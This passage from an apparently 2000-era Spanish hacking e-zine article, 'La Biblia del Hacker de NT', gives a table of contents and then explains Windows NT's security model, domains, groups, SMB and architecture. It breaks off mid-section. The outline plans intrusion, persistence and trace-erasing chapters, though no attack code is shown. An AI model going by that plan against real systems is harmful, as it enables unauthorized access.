Copy Link
Add to Bookmark
Report

SET 024 0x05

  

-[ 0x05 ]--------------------------------------------------------------------
-[ La Biblia del Hacker de NT ]----------------------------------------------
-[ by Tahum ]---------------------------------------------------------SET-24-




La biblia del hacker de NT
Version del documento: 1.2



* By Tahum, Tahum@phreaker.net
* Primera version: 15/12/00
* Ultima actualizacion: 17/1/01




Indice del documento:



Parte I, primeros contactos
---------------------------


- Prologo ....................................................... 0
- Nociones basicas .............................................. 1
- Que es Windows NT? .......................................... 1.1
- Historia de Windows NT ...................................... 1.2
- Modelo de seguridad ......................................... 1.3
- Funcionamiento de una red NT ................................ 1.4
- Dominios .................................................... 1.5
- Grupos y permisos ........................................... 1.6
- Protocolo SMB ............................................... 1.7
- Porque la gente escoge NT? .................................. 1.8
- Sus distintas versiones ..................................... 1.9
- Su futuro ................................................... 1.10
- Arquitectura del sistema ...................................... 2
- Subsistemas protegidos ...................................... 2.1
- El executive ................................................ 2.2
- Llamadas a procedimientos ................................... 2.3
- Diferencias entre NT 4 y W2000 ................................ 3
- Active Directory ............................................ 3.1
- DNS Dinamico ................................................ 3.2
- Estandar Kerberos ........................................... 3.3
- Mejoras en el NTFS .......................................... 3.4
- Resumen ....................................................... 4




Parte II, agujeros del sistema
------------------------------


- Introduccion a NetBIOS ........................................ 5
- Historia de NetBIOS ......................................... 5.1
- Conceptos sobre NetBIOS ..................................... 5.2
- Comandos NET ................................................ 5.3
- Vulnerabilidades de NetBIOS ................................. 5.4
- NAT ....................................................... 5.4.1
- IPC$ ...................................................... 5.4.2
- Conclusion sobre NetBIOS .................................... 5.5
- Vulnerabilidades WEB .......................................... 6
- Vulnerabilidades en IIS ..................................... 6.1
- Escapando del arbol de web: Unicode's bug ................. 6.1.1
- IISHACK ................................................... 6.1.2
- Hackeandolo via user anonymous ............................ 6.1.3
- Hackeandolo via IISADMIN .................................. 6.1.4
- Ejecucion de comandos locales MSADC ....................... 6.1.5
- El bug de los .idc y .ida ................................. 6.1.6
- Viendo el codigo de los .asp y de demas ficheros .......... 6.1.7
- El bug del punto en .asp ................................ 6.1.7.1
- El bug del +.htr ........................................ 6.1.7.2
- El bug de Null.htw ...................................... 6.1.7.3
- El bug de ISM.DLL ....................................... 6.1.7.4
- El bug de Showcode y Codebrws ........................... 6.1.7.5
- El bug de webhits.dll y los ficheros .htw. .............. 6.1.7.6
- El bug del ::$DATA ...................................... 6.1.7.7
- El bug de Adsamples ..................................... 6.1.7.8
- El bug de WebDAV ........................................ 6.1.7.9
- Conclusion a IIS .......................................... 6.1.7.10
- Vulnerabilidades de Frontpage ............................... 6.2
- DoS a las extensiones ..................................... 6.2.1
- Otro DoS a las extensiones gracias a Ms-Dos ............... 6.2.2
- Scripting con shtml.dll ................................... 6.2.3
- Otra vez las extensiones .................................. 6.2.4
- Conclusion a Frontpage .................................... 6.2.5
- El registro ................................................... 7
- Estructura del registro ..................................... 7.1
- Vulnerabilidades del registro ............................... 7.2
- Conclusion sobre el registro ................................ 7.3
- Desbordamientos de pila en NT ................................. 8
- Shellcodes .................................................. 8.1
- BOFS ........................................................ 8.2
- SAM ........................................................... 9
- Analisis de las SAM ......................................... 9.1
- Crackeandolas ............................................... 9.2
- Herramientas de control remoto ................................ 10
- Software comercial .......................................... 10.1
- Citrix .................................................... 10.1.2
- ControlIT ................................................. 10.1.3
- Pc Anywhere ............................................... 10.1.4
- Reach OUT ................................................. 10.1.5
- Remotely Anywhere ......................................... 10.1.6
- Timbuktu .................................................. 10.1.7
- VNC ....................................................... 10.1.8
- Troyanos .................................................... 10.2
- Pros y contras ............................................ 10.2.2
- Comparativa ............................................... 10.2.3
- Resumen sobre las herramientas de control remoto ............ 10.2.4
- Rootkits ...................................................... 12
- Resumen ....................................................... 13




Parte III, Hacking fisico de NT
-------------------------------


- Iniciacion .................................................... 14
- Consiguiendo acceso ........................................... 15
- Saltandose la BIOS .......................................... 15.1
- Obteniendo las SAM ............................................ 16
- Asegurando la estancia ........................................ 17
- Borrando las huellas .......................................... 18
- Resumen ....................................................... 19




Parte IV, Hacking remoto de NT
------------------------------



- Enumeracion de fallos ......................................... 20
- Incursion en el sistema ....................................... 21
- Asegurando nuestra estancia ................................... 22
- Borrado de huellas ............................................ 23
- Conclusiones .................................................. 24



Parte V, Apendice y conclusion final
------------------------------------


- Apendice ...................................................... 25
- Webs ........................................................ 25.1
- Listas de correo ............................................ 25.2
- Grupos de noticias .......................................... 25.3
- Demas documentos en la red .................................. 25.4
- Bibliografia ................................................ 25.5
- Herramientas .................................................. 25.6
- Ultimas palabras y conclusion final ........................... 26



-=-




Parte I - Primeros contactos
============================




[ 0 - Prologo ]
-------------

Bienvenido.

He creido necesario el escribir esta guia debido a la falta de una guia
solida de hack en NT en espa~ol que este actualizada. Me he encontrado con
cantidad de textos que explican determinados bugs de NT, o ciertos aspectos
de este en concreto, pero tan solo he visto un par de documentos en los que
se tratara la seguridad de NT globalmente.

Asi pues, un buen dia de agosto del 2000, me decidi a escribir una guia
que cubriera ese hueco; y atropellando mi modestia, diria que se ha logrado.
Si quereis mandarme vuestra opinion del documento, me la podeis mandar a mi
e-mail y tratare de responderla lo mas brevemente posible. Agradeceria que
usaseis PGP para cifrar vuestros mensajes... mi llave PGP la encontrareis al
final del documento.

En fin, no me quisiera hacer demasiado pesado ya en la introduccion...
que aun os queda por leer el resto del documento.

Disfruta.




[ 1 - Nociones basicas ]
----------------------


Para seguir la guia tendremos que tener unas nociones sobre NT que puede
que no tengamos, y que nos seran necesarias para comprender el resto de la
guia.




[ 1.1 - Que es Windows NT? ]
--------------------------


Es el sistema operativo de red desarrollado por Microsoft, como respuesta
al crecimiento en el mercado de redes locales. A diferencia de Windows
3.1, que funciona sobre MS-DOS (y por lo tanto sobre su FAT de 16 bits) y
Windows '95, que utiliza una tabla de asignacion en disco, NT realiza el
seguimiento de archivos con el sistema NTFS (NT file system), sistema que es
el nucleo de los niveles de control de acceso a la informacion del servidor,
y responsable de la estructura de seguridad en NT. Eso no quiere decir que
no pueda usar FAT, como su hermano peque~o Windows 9x o millenium, sin
embargo NT cumple mejor los requisitos de seguridad con NTFS.

Es un SO realmente facil de instalar y configurar, por lo que poner en
marcha un servidor corriendo por NT es cosa de ni~os, por su interfaz
intuitiva y la ayuda incorporada que lleva.

Es un sistema robusto (no se cuelga facilmente como Win9x), seguro (el
modelo de seguridad que veremos mas adelante lo demuestra), y quiza lo unico
en lo que se queda un poco atras es en los recursos que requiere para que
funcione decentemente.



[ 1.2 - Historia de Windows NT ]
------------------------------


En un principio, Microsoft pensaba hacer cambiar a los usuarios de
Windows 3.11 (o Windows para trabajo en grupo) a Windows NT, una decision
muy arriesgada por su parte, por la diferencia de interface que existia
entre ambos sistemas operativos, y demas cambios que harian que el usuario
tenga que estudiar otro sistema operativo completamente nuevo, con el tiempo
que conlleva eso.

Windows NT salio a la luz, y sus ventas eran muy bajas, pasando sin pena
ni gloria ante el mercado de servidores.

Debido a eso Microsoft decidio sacar a la luz lo que seria el boom en los
sistemas operativos para usuarios domesticos: Windows '95. Habia nacido un
sistema operativo que haria historia, por las funciones nuevas que
incorporaba respecto a Win 3.1, por estar mas enfocado a Internet y por su
tremenda facilidad de uso. Seria un trabajo perfecto el de los chicos de
Microsoft sino fuese porque era un sistema muy inestable, se colgaba cuando
se exigia unos recursos medianos a la maquina, al reconocer hardware, etc.

Todo el mundo hablaba de Windows '95, unos decian que era maravilloso,
otros que era una chapuza... opiniones para todos los gustos.

La gente se veia forzada a migrar a Windows '95, pues la mayoria de
aplicaciones, juegos, etc. se encontraban exclusivamente para W95... por lo
que Win 3.1 y Win 3.11 quedaron en el olvido.

Ahora si, la gente no tenia excusa para no aprender a usar Windows NT,
pues su interfaz era identica a la de Windows '95, y se veia de lejos que
era el sistema que se iba dominar el mercado en un futuro cercano...

De esa forma y gracias a una campa~a de marketing arrogante, Microsoft
comenzo a ganar terreno estrepitosamente, y lo sigue ganando.

Hoy por hoy tenemos Windows 2000 Server, Advanced Server, y Datacenter
como sistemas operativos de servidor (los cuales veremos mas adelante), los
sucesores de NT 4, y que por comodidad son llamados muchas veces NT 5.




[ 1.3 - Modelo de seguridad ]
---------------------------


El modelo de seguridad de NT protege cada uno de los objetos de forma
individual, casa uno con sus propios atributos de seguridad. La ACL (access
Control List o Lista de Control de acceso) especifica los usuarios y grupos
que pueden acceder a un determinado objeto y que privilegios tienen sobre
el.

Dicho modelo de seguridad esta formado por 4 componentes:

- Local Security Authority (Autoridad de seguridad local)
- SAM: Security Account Manager (Administrador de seguridad de cuentas)
- SRM: Security Reference Monitor (Monitor de referencia de seguridad)
- UI: User Interface (Interfaz de usuario)

Seguramente no os debe haber quedado muy claro cada componente del modelo
de seguridad asi que vamos a explicar cada uno:



* Local Segurity Authority (Autoridad de seguridad local)
-------------------------------------------------------


Es el componente central de la seguridad en NT. Este se encarga de
controlar la directiva local de seguridad y la autentificacion de los
usuarios, y de generar y registrar los mensajes de auditoria. Tambien se
le suele llamar subsistema de seguridad. Se encarga del trabajo mas
administrativo del sistema de seguridad.



* Seccurity Account Manager (Administrador de seguridad de cuentas)
-----------------------------------------------------------------


Este se encarga del control de las cuentas de grupo y de usuario, ademas
de proporcionar servicios de autentificacion de usuario para la autoridad
de seguridad local.



* Security Reference Monitor (Monitor de referencia de seguridad)
---------------------------------------------------------------


Este se encarga de la validacion de acceso y de la auditoria para la
autoridad de seguridad local. Comprueba las cuentas de usuario mientras
el usuario intenta acceder a los archivos, directorios, etc. y les
permite o deniega las peticiones del usuario. Ademas genera mensajes de
auditoria dependiendo de las decisiones que el usuario tome. Contiene una
copia del codigo de validacion de acceso para asegurar que el Monitor de
referencia protege los recursos de forma uniforme en todo el sistema,
independientemente del tipo de recurso.

Quiza esto ultimo no haya quedado claro, me explico. Cada vez que te
logueas en NT, pasado el proceso de autentificacion, tu nombre de usuario
es relacionado con un numerito. Y asi con todos los usuarios del sistema.
De manera que cuando quieras acceder a un archivo/carpeta/unidad, se crea
un sujeto. El sujeto contiene 2 elementos: Tu numero identificativo, el
objeto al que quieres acceder. El SRM es el encargado de dar el visto
bueno o no a la peticion, para lo cual mirara las ACE (las entradas de
control de acceso), y si figura tu nombre de usuario, puedes acceder, de
lo contrario se te mostrara un mensaje de error. Se vera mejor con un...

Ejemplo de como el usuario Tahum accede a el archivo foo.exe:


C:\> call archivos\foo.exe


( Ahora es cuando el SRM mira mi elemento y mira las ACE del objeto que
he llamado, en este caso foo.exe. )

Sujeto
.----.----------.
| 15 | foo.exe |
`----^----------'


( Como el usuario Tahum tiene derechos de ejecucion en foo.exe, se crea
el sujeto satisfactoriamente. )


Pues como se ve el SRM juega un papel muy importante en la seguridad de
NT. No es de extra~ar que sea el objetivo primordial de varios rootkits.



* User Interface (Interfaz de usuario)
------------------------------------


Es lo que el usuario ve, lo puramente visual. No requiere una mayor
explicacion.



Bueno, vistos ya los componentes del modelo de seguridad pasamos a tratar
otros aspectos referentes a la seguridad en NT.


NT admite niveles de acceso para cada grupo, de manera que el grupo
"Gente humilde" solo tuviera acceso de lectura a la carpeta "Dinero", el
grupo "Causas nobles" no tuviera ningun privilegio sobre esa carpeta y el
grupo "Iglesia" tuviera todos los derechos sobre ella.


Si este recurso fuera un recurso compartido _administrativo_ mostraria un
$ al final del nombre del objeto, por ejemplo dinero$.


Una cosa buena que tiene WinNT es que si por ejemplo el usuario "Cura"
crea un archivo llamado "Cuenta de ahorros en suiza", y se le olvida definir
sus atributos de seguridad, solo el sera el unico que pueda acceder al
archivo, anulando cualquier privilegio sobre los demas grupos y usuarios
(exceptuando los administradores), por lo que solo el podra acceder a ese
archivo.


Windows NT es ampliable, de manera que los programas pueden a~adir nuevos
modelos de seguridad con caracteristicas de seguridad nuevas, lo que ayudara
a mejorar la seguridad sin tener que reescribir de nuevo el modelo de
seguridad.




[ 1.4 - Funcionamiento de una red NT ]
------------------------------------


En una red NT puede haber varios servidores cumpliendo cada uno funciones
distintas. Eso no significa que tenga de haber 3 servidores en una red para
que la red funciona, como veremos a continuacion.

Las funciones que pueden desempe~ar los servidores con NT Server (o W2000
Server) son las siguientes:

PDC: Son las siglas de Primary Domain Controller, o lo que es lo mismo
controlador primario del dominio. Este es el servidor que mantien el
dominio, el mas importante por decirlo de alguna manera.

En este servidor se mantienen las bases de datos de los usuarios de
la red.

Solo puede haber un PDC en la red.

BCD: Siglas de Backup Domain Controller, o controlador de respaldo de
dominio. Este es el servidor que hara la funcion de PDC en caso de
que el PCD se encontrara no operativo. Asimismo tambien se encarga
de autentificar a los usuarios junto al PCD, para mayor seguridad.
En un dominio es muy normal encontrarse con varios BDC.

Member Server: Este servidor no tiene una funcion especial, el uso que se
le de depende de nosotros; y no interviene el el
funcionamiento del dominio.


Para que todo quede claro metere un peque~o ejemplo de una red NT
marcando las funciones de cada miembro de la red.



.---------. .---------. .---------. ||
.-------. | .-------. | .----------. |===================::
| | | | | | | | |
| PDC | | | BDC | | | MEMBER | |
| | | | | | | SERVER | |
| | | | | | | | |
| o |----' | o |----' | o |----'
| | | | | |
`-------'=======`-------' `----------'
|| ||
|| Peticion1 ||
|| ||
|| ||
|| ||
|| ||
`:====. .==========================:'
.-------.
| | Explicacion de lo aqui mostrado.
.-----------. |
| | o | Como se ve los servidores de la red ofrecen distintos
| Cliente | | tipos de servicios al cliente. Aqui podemos ver como
| |----' el cliente hace una peticion al PDC, en este caso de
| | autentificacion. El PDC comprueba que el usuario este
| | en la ACE (Entrada de Control de Acceso) y que su
`-----------' contrase~a es correcta. Para eso se vale tambien del
BDC, para cerciorarse de que los datos son correctos.

Luego se le deja pasar y hace una peticion al member
server, el cual hace de proxy y dirige los paquetes
a su destino.




[ 1.5 - Dominios ]
----------------


Hasta ahora se ha nombrado el termino "dominio" en las descripciones ya
vistas, pero el concepto de dominio es mas amplio, y merece una explicacion
mas extensa.

Un dominio se podria definir como un conjunto de ordenadores que
comparten entre si unas caracteristicas comunes en lo referente a accesos.
Un usuario registrado en un dominio con un login y un pass puede acceder a
todos los servidores de dicho dominio utilizando el mismo l/p.

Cabe decir que en un dominio hay servidores y clientes o estaciones de
trabajo por norma general.

Cuando el administrador del dominio da de alta a un nuevo usuario, lo
hace sobre el controlador primario del dominio (PDC). Los datos de este
nuevo usuario (login, pass, comentarios, especificaciones de la
contrase~a...) se agregan a un archivo llamado SAM, que lo tiene cualquier
servidor NT, y que seria el equivalente al archivo passwd en u*x, con
algunas diferencias que veremos mas adelante.

Como antes dije el BDC actua de respaldo por si el PDC dejara de estar
operable, por lo que el PDC le tiene que mandar una copia del SAM de manera
periodica. Esto automatiza en gran parte la tarea del administrador.

El proceso de replicar el archivo SAM desde el PDC a todos los BDC de la
red de denomina replicacion.

Ahora empieza lo interesante, el como se relacionan los dominios. A la
hora de administrar una red NT es necesaria la relacion de confianza entre
distintos servidores, o servidor - cliente, para realizar una tarea
administrativa mas sencilla y eficiente.

Es importante saber asignar correctamente los permisos entre dominios.



[ 1.6 - Grupos y permisos ]
-------------------------


En NT el concepto de grupo y usuario es el mismo que en otros sistemas,
sin embargo existen variantes que veremos a continuacion:


- Usuarios locales: Estos usuarios tienen acceso a las maquinas en las que
fueron creados. Estos fueron creados en el
administrador de usuarios.

- Usuarios del dominio: Estos usuarios tienen acceso al dominio y a los
recursos que en el se comparten. Estos fueron
creados por el administrador de usuarios de
Dominio.

- Grupos locales: Estos grupos estan formados por usuarios de un mismo
dominio, y solo pueden ser vistos desde ese dominio.

- Grupos globales: Como los anteriores con la diferencia de que pueden ser
vistos desde todos los dominios en los que tenga una
relacion de confianza. Lo unico que cambia es que a este
grupo lo podran ver desde otros dominios.


Veamos ahora los grupos que se instalan por defecto en NT:


Administradores: Los dioses del sistema, lo pueden hacer todo, al igual
que el root en u*x.

Invitados: Pues estos en principio estan restringidos a un directorio, y
con unos privilegios muy escasos (aunque recuerdo una
universidad con permisos de escritura para los invitados... ver
para creer).

Operadores de copia: Estos pueden sobreescribir restricciones de seguridad
con el unico proposito de hacer copias de seguridad o
restaurar ficheros.

Reduplicadores: Estos solo tienen privilegios para copiar ficheros, para
hacer copias de seguridad.

Usuarios: Los usuarios comunes con privilegios restringidos. Pueden
utilizar el sistema y guardar archivos, pero no pueden instalar
programas o hacer cambios potencialmente peligrosos para el
sistema de archivos y la configuracion.

Usuarios avanzados: Usuarios del sistema con altos privilegios. Estos
tienen mas privilegios que los usuarios, ya que ademas
pueden instalar programas y modificar el equipo. Sin
embargo no pueden leer archivos que sean de otros
usuarios.

Estos son los grupos que se instalan por defecto en NT5, en NT4 hay mas
grupos como los operadores de impresion pero veo innecesario explicarlos ya
que aparte de que no necesiten explicacion (operador de impresion por
ejemplo no necesita comentarse) se encuentran en muy pocos sistemas...




[ 1.7 - Protocolo SMB ]
---------------------


He querido darle la importancia que se merece a este protocolo, llamado
Server Message Block (en espa~ol Bloque de mensaje de Servidor), por vagueria
llamado SMB, el cual es interesante porque permite que los usuarios accedan
a los recursos compartidos, al registro, y a otros servicios del sistema de
forma _remota_.

Los usuarios que se comunican con el servidor mediante el protocolo SMB
pueden acceder a cualquier servicio al que pueda acceder un usuario que se
comunique con NetBIOS.

Se pueden establecer permisos SMB en archivos, directorios compartidos,
llaves del registro, e incluso impresoras.

En el nivel de sesion SMB, NT controla el acceso mediante nombres de
usuario y contrase~as (la cuenta invitado no tiene contrase~a).




[ 1.8 - Porque la gente escoge NT? ]
----------------------------------


Basicamente por 3 motivos. Uno es la sencillez con la que se usa y
administra NT... sin embargo y pese lo sencillo que es es muy frecuente
encontrar un NT mal configurado.

Otra es que tiene servicio tecnico, por lo que en caso de que surja algun
imprevisto no tienen mas que llamar al servicio tecnico de la casa Microsoft
para solucionar el problema. Esto ofrece una gran tranquilidad a algunos
administradores de NT que asi se ahorran el tener que leer esos manuales que
venian con el programa...

Esto da que pensar acerca de la preparacion profesional de algunos admins
de NT.




[ 1.9 - Sus distintas versiones ]
-------------------------------


Ahora veamos las distintas versiones de W2K y su equivalente a sus
antiguas versiones en NT.

Windows 2000 Professional equivale a Windows NT 4 Workstation. Es la
version destinada al usuario que desea trabajar con la robustez que NT
ofrece pero no necesita cumplir funciones de servidor.

Windows 2000 Server es el equivalente a Windows NT 4 Server. Es la
version para servidores de redes peque~as/medianas. Basicamente es como la
version anterior pero com mas herramientas administrativas y unas capas de
maquillaje al entorno. Osea que cambiando unas pocas llaves del registro y
metiendole las herramientas administrativas de W2K Server haces de la
version Professional una version Server.

Windows 2000 Advanced server equivaldria a Windows NT 4 Enterprise
Server, con algunas diferencias mas o menos significativas pero es la
version con la que se corresponderia. Esta es la version para redes
considerablemente grandes.

Windows 2000 Datacenter no se corresponderia con ninguna version anterior
de NT, y es la mas bestia de toda la gama de W2K, ya que esta preparada para
servidores con unas caracteristicas que quitan el sentido a cualquiera (solo
decir que soporta 32 microprocesadores y 16 gb de memoria).




[ 1.10 - Su futuro ]
------------------


El futuro que le espera a NT no puede ser mas alentador. Dia a dia NT
gana terreno en el mercado de sistemas operativos de red. Incluso esta
amenazando seriamente el mercado de LiNUX en el terreno de servidores, pese
a que estos dominen actualmente el mercado.




[ 2 - Arquitectura del sistema ]
------------------------------


Vistas ya las nociones basicas, pasamos a estudiar la arquitectura del
sistema de nt; algo que no es tan basico, pero tened en cuenta de que lo que
un programador puede hacer para NT con esta informacion tampoco es nada
basico.

Si de momento no pretendeis programar bajo WinNT, no necesitareis
entender esta parte.

Cabe destacar que gran parte de la informacion que he metido en esta
seccion esta basada en dos libros en concreto y una web, la web de proyecto
enete.




[ 2.1 - Subsistemas protegidos ]
------------------------------


Los subsistemas protegidos son una serie de procesos servidores que se
ejecutan en modo NO privilegiado (como los procesos de usuario), los cuales
poseen algunas caracteristicas que los diferencian de estos.

Primero veamos que significan esos palabros tan raros como "procesos
servidores"
, "modo no privilegiado", y demas tecnicismos.

Esto no es nada del otro mundo, pero para entenderlo veamos algunos
aspectos de NT que son necesarios para entender la explicacion. Espero no
irme por las ramas...

La arquitectura de NT distingue de dos tipos de nucleo... uno llamado
'Executive' (o administrativo) y otro llamado 'subsistema protegido'. A los
modulos de kernel executive se les llama modulos ejecutados en modo
privilegiado. Se dice privilegiado por las funciones que puede cumplir. Y a
los modulos ejecutados en modo no privilegiado se les llama subsistemas
protegidos. Espero haya quedado clara la definicion de modo no privilegiado
y modo privilegiado... si es asi prosigamos.

Definamos ahora "procesos servidores". Hemos de saber que NT entiende a
los programas como clientes del SO, clientes que el propio SO debe de
servir. Para esto NT viene equipado con varias entidades servidoras.

Y por ultimo repasemos el conpecto de subsistemas protegidos con otras
palabras para que no queden dudas. Son una seria de procesos servidores
ejecutados en modo no privilegiado.

Estos se inician al arrancar NT, y puede haber dos tipos: los integrales
y los de entorno.

Pues por muy pesado que se haga esto tengo que seguir con las
definiciones. Un subsistema integral es aquel servidor que ejecuta una
funcion muy importante en el SO, como por ejemplo el que gestiona el tema de
la seguridad. Lo de integral pensad que es por aquello de que es esencial
para el SO.

Los subsistemas de entorno son los que dan respaldo a los programas
provinentes de sistemas operativos diferentes, adaptandolos para que puedan
ser ejecutados en NT. Nos encontramos 3 de este tipo:




-[ S u b s i s t e m a s d e e n t o r n o ]-



* Win32
-----

Este es el principal, es el que proporciona la interfaz para los
programas especificamente programados para NT. Sin embargo sus funciones
van mas alla, pues no solo se encarga de los programas exclusivamente
para NT, sino tambien interpreta los fabricados para otros sistemas
operativos de la misma casa, como las hechas para DOS, Win9x e incluso
Win 3.11 e inferiores. Para ello crearia un nuevo subsistema protegido
para cada una de ellas. En caso de que el programa que tenga que
interpretar sea de Dos o Windows 3.11 o inferior, asi el subsistema
creado se llamaria VDM, siglas de Virtual DOS Machine, o maquina virtual
DOS. Este no es mas que un _simulador_ del DOS, no el DOS en si. Para
Win 3.11 e inferiores las llamadas al API (Application Program Interface,
o programa de aplicacion de interfaz. Esta es la parte del sistema
operativo que provee a las aplicaciones una interfaz de uso comun) de
Win16 son asociadas con las del API Win32, lo que se llama WOW (Windows
On Win32). Este subsistema se encarga de todo lo relacionado con la GUI
(Graphical User Interface, o interfaz de usuario grafica), teniendo el
control de las entradas del usuario y las salidas del programa.



* POSIX
-----


Son las siglas de Portable Operating System Interface for UNIX. Este es
el que da soporte a las aplicaciones Unix (y derivados de esta). Esta
norma se elaboro por la IEEE (Instituto Of Electric And Electronic
Engineers, o en espa~ol Instituto de Ingenieros en electricidad y
electronica) con el fin de lograr la portabilidad de los programas en
distintos entornos Unix. Es un conjunto de 23 normas, las cuales son
identificadas con nombres desde IEEE 1003.0 a IEEE 1003.22, o lo que es
lo mismo POSIX.0 a POSIX.22. De todas estas el subsistema posix de NT tan
solo soporta 1, la POSIX.1, la cual define un conjunto de llamadas al
sistema en el lenguaje C. Este subsistema tambien sirve las llamadas
interactuando con el Executive. Aparte de eso define aspectos del
sistema Unix que ayudan a definirlo mejor, como son las relaciones
jerarquicas entre los procesos padres e hijos.




* OS/2
----


Pues igual pero este da soporte a las aplicaciones del OS/2. Suministra
la interfaz grafica y las llamadas al sistema, cuyas llamadas son
servidas con la ayuda del executive.




-[ S u b s i s t e m a s i n t e g r a l e s ]-



* Proceso de inicio
-----------------

Este proceso (tambien llamado Logon Process), recibe las peticiones de
conexion por parte de los usuarios. No es uno sino dos procesos, y cada
uno se encarga de un tipo distinto de conexion. Uno es el proceso de
inicio local, que es el que gestiona la conexion de usuarios locales
directamente a un ordenador NT, y el otro es el proceso de inicio remoto,
el cual es el encargado de gestionar las conexiones de los usuarios
remotos a procesos servidores de NT. Sino teneis claro lo de procesos
servidores mirar la explicacion dada mas arriba.



* Seguridad
---------


El subsistema de seguridad realiza un papel muy importante, ya que
interacciona con el proceso de inicio y el monitor de referencias de
seguridad, contruyendose el modelo de seguridad de NT. Este subsistema
interactua con el proceso de inicio, atendiendo las peticiones de acceso
al sistema. Dicho subsistema cuanta con dos componentes: la autoridad de
seguridad local y el administrador de cuentas, los cuales vimos mas
arriba.




[ 2.2 - El executive ]
--------------------


Vistos las dos clases de subsistemas protegidos, pasamos a ver el
nucleo ejecutado en modo privilegiado, sin restriccion alguna, el executive.

Definiremos al Executive como un conjunto de programas que se ejecutan
en modo privilegiado. Aqui explicaremos cuales son y para que sirven esos
programas.

Destacar que el executive _NO_ es el nucleo de NT, sino que el nucleo
de NT es uno de los programas componentes de este.

Seguramente a algunos les resultara incomodo ver como me dirijo a un
conglomerado de aplicaciones software (valga la rebuznancia) como programas.
Por comodidad y por que significa lo mismo me dirijo a ellos como programas.
Supongo que eso no molestara a nadie.

Veamos de que se compone el executive mas a fondo:



* Object Manager
--------------


El Object Manager (o administrador de objetos) es el encargado de crear,
gestionar y eliminar todos los objetos del Executive.



* Process Manager
---------------


El administrador de procesos se encarga de crear, gestionar y eliminar
los procesos y subprocesos. De esta manera subministra el tiempo de CPU
adecuado para cada subproceso.



* Virtual Memory Manager
----------------------


En espa~ol administrador de memoria virtual. Gestiona la memoria en el
sistema, determina los bloques de trabajo de cada proceso, entre otros
aspectos relacionados con la politica de gestion de la memoria.



* LPC Facility
------------


En espa~ol facilidad de llamada a procediciento local. Gestiona la
recepcion y el envio de las llamadas a procedimiento local entre las
aplicaciones cliente y los subsistemas protegidos.



* I/O Manager
-----------


El administrador de entrada salida consta de bastantes subcomponentes,
como el administrador del sistema de ficheros, el administrador de caches,
los drivers de dispositivo del sistema y el administrador de caches.

Basicamente su funcion es la de gestionar la comunicacion entre los
distintos drivers de un dispositivo.

Este trabaja en conjunto con otros componentes del Executive, sobre todo
el VMM.

No vamos a explicar en detalle la funcion de todos los subcomponentes,
para ello revisar el apendice donde se os remite a lugares con mucha
informacion sobre este tema.



* El monitor de referencias a seguridad
-------------------------------------


Ya lo hemos explicado anteriormente



* El kernel
---------


He aqui el nucleo, el "alma mater" de NT. Como veis es un componente mas
del executive, y no el executive en si. Esto es porque no se quiso
sobrecargar de funciones.

Se encarga de las funciones mas basicas, como la ejecucion de
subprocesos, el manejo de las interrupciones hardware, entre otras cosas.



* Hal
---


Y aqui tenemos al tan famoso Hal. Sus siglas significan Hardware
Abstraction Layer, que en espa~ol equivale a nivel de abstraccion de
hardware. Es la interfaz existente entre los drivers y NT. Es capaz de
adaptar los drivers a otras arquitecturas de entrada/salida, sin tener que
ser demasiado modificados.




[ 2.3 - Llamadas a procedimientos ]
---------------------------------


Como ya sabeis NT posee una arquitectura de tipo cliente-servidor. Por
eso NT viene equipado con un mecanismo de llamada a procedimiento remoto y
otro para los procedimientos de llamada local.

Voy a intentar explicar cada uno de ellos lo mas brevemente posible,
dando una vision general de lo que son. No me adentrare mas sencillamente
porque el tema se complica lo suyo, y lo que pretendo es dar una idea
general, que os hagais una idea.

Por supuesto si quereis saber mas, podeis pasaros por el apendice, donde
encontrareis referencias a sitios/documentos donde poder documentaros mas.



* Local Procedure Call
--------------------


En espa~ol llamada a procedimiento local. Este tipo de procedimiento es
usado cuando un proceso requiere los servicios de algun subsistema
protegido, normalmente el subsistema Win32.



* Remote Procedure Call
---------------------


Igual que el anterior pero al contrario de este este se efectua
remotamente, accediendo a las funciones de los procesos servidor desde un
proceso cliente de manera transparente para el usuario.




[ 3 - Diferencias entre NT4 y W2000 ]
-----------------------------------


Es hora de ver que diferencias existen entre estas distintas versiones de
NT. Muy pocos administradores que usan NT4 o W2000 server (o cualquiera de
sus variantes orientadas a servidores) no tienen claro que tiene de nuevo
W2000 (a partir de ahora W2K) sobre NT4. Te diran que es mas seguro, que es
mas robusto, Aunque no se sepa bien porque. Pasamos a ver los aspectos
a destacar mas relevantes.




[ 3.1 - Active Directory ]
------------------------


No podia ser de otra manera, que empezando por uno de los cambios mas
destacables, la aparicion del Active Directory.

En la traduccion al espa~ol nos quedaria Directorio Activo, que por
decir, no dice mucho. Es el nuevo servicio de directorios para W2K. Aqui se
almacena la informacion sobre los recursos de la red y ademas provee los
servicios que hacen que la tarea de administracion se simplifique de manera
notable.

Este servicio esta basado en DNS (Domain Name Server) y LDAP (Lightweight
Directory Access Prococol).

De momento solo se ha encontrado un solo bug del Active Directory
(octubre del 2000), por lo que parece que los chicos de MS se han molestado
mas que de costumbre en el tema de la seguridad.




[ 3.2 - DNS Dinamico ]
--------------------


Esta nueva caracteristica logra que a cada maquina se le reconozca no por
su nombre netbios sino por su nombre DNS.

Es decir lo usara para resolver o traducir nombres de ordenadores a
direcciones IP. Tambien lo usa como su servicio de nombres de dominio.

Ventaja? pues que se usa el nombre para los dominios de inet y tus
ordenadores del dominio.

Sin embargo de dinamico poco vemos aqui, y es que aun no he explicado el
meollo de la cuestion. Lo de dinamico viene a la caracteristica de asignar
a los ordenadores clientes con ip's asignadas automaticamente los servicios
DNS. de ahi lo de dinamico.

Para quien se pregunte si se van a suprimir los nombres netbios por esta
nueva caracteristica, que sepa que no. Como ya es costumbre en NT, se
mantienen la compatibilidad con facetas anteriores (lo que hace a NT mas
debil conservando aspectos poco seguros).




[ 3.3 Estandar Kerberos ]
-----------------------


Ya era hora de que implementasen Kerberos, era algo que se pedia desde
hace tiempo, y por fin ya lo tenemos. Los u*x ya gozaban del modulo de
seguridad Kerberos hace tiempo.

En los entornos de red, los programas usan el protocolo NTLM (NT Lan
Manager) para autentificarse, y para proteger sus datos. Ahora esto cambiara
y se usara Kerberos.

El porque de la sustitucion es las mejoras que Kerberos aporta a NTLM,
entre las que se encuentra la autentificacion mutua. Expliquemonos, lo de
mutua viene de que no solo el cliente se tendra que autentificar ante el
servidor sino tambien el servidor ante el cliente. La deshonra para los
servidores, el rebajarse a autentificarse cara un mero cliente ;-).

Quien quiera entender el funcionamiento de Kerberos que consulte el
apendice.




[ 3.4 Mejoras en el NTFS ]
------------------------


Pues entre las nuevas mejoras al sistema de archivos nativo de NT nos
